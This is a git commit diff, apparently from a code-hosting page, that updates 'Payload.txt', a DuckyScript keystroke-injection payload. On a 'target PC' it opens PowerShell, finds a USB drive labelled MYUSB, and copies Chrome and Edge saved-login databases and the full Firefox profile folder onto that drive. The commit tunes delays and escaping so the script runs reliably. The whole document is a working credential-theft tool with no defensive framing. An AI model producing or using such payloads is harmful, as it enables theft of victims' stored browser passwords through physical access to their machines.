Update Payload.txt
parent
81260982f1
commit
f843113663
|
@ -15,41 +15,46 @@ DELAY 500
|
||||||
STRING powershell
|
STRING powershell
|
||||||
DELAY 500
|
DELAY 500
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 1000
|
DELAY 1500
|
||||||
REM Check if the USB drive exists
|
REM Check if the USB drive exists
|
||||||
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
|
STRING $usbDrive = Get-WmiObject Win32_Volume ^| Where-Object { $_.Label -eq 'MYUSB' } ^| Select-Object -ExpandProperty DriveLetter;
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
STRING if ($usbDrive -ne $null) {
|
STRING if ($usbDrive -ne $null) {
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
STRING cd $usbDrive;
|
STRING cd $usbDrive
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
STRING mkdir BrowserData;
|
STRING mkdir BrowserData
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
STRING cd BrowserData;
|
STRING cd BrowserData
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
REM Copy Chrome Login Data to USB
|
REM Copy Chrome Login Data to USB
|
||||||
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
|
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
|
||||||
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
|
ENTER
|
||||||
|
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData" }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
REM Copy Firefox Login Data to USB
|
REM Copy Firefox Login Data to USB
|
||||||
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
|
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\"
|
||||||
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
|
ENTER
|
||||||
|
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData" }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
REM Copy Edge Login Data to USB
|
REM Copy Edge Login Data to USB
|
||||||
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
|
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
|
||||||
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
|
ENTER
|
||||||
|
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData" }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
STRING }
|
STRING }
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
|
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
|
||||||
STRING echo off | clip
|
STRING echo off ^| clip
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
REM Close PowerShell
|
REM Close PowerShell
|
||||||
|
|
Loading…
Reference in New Issue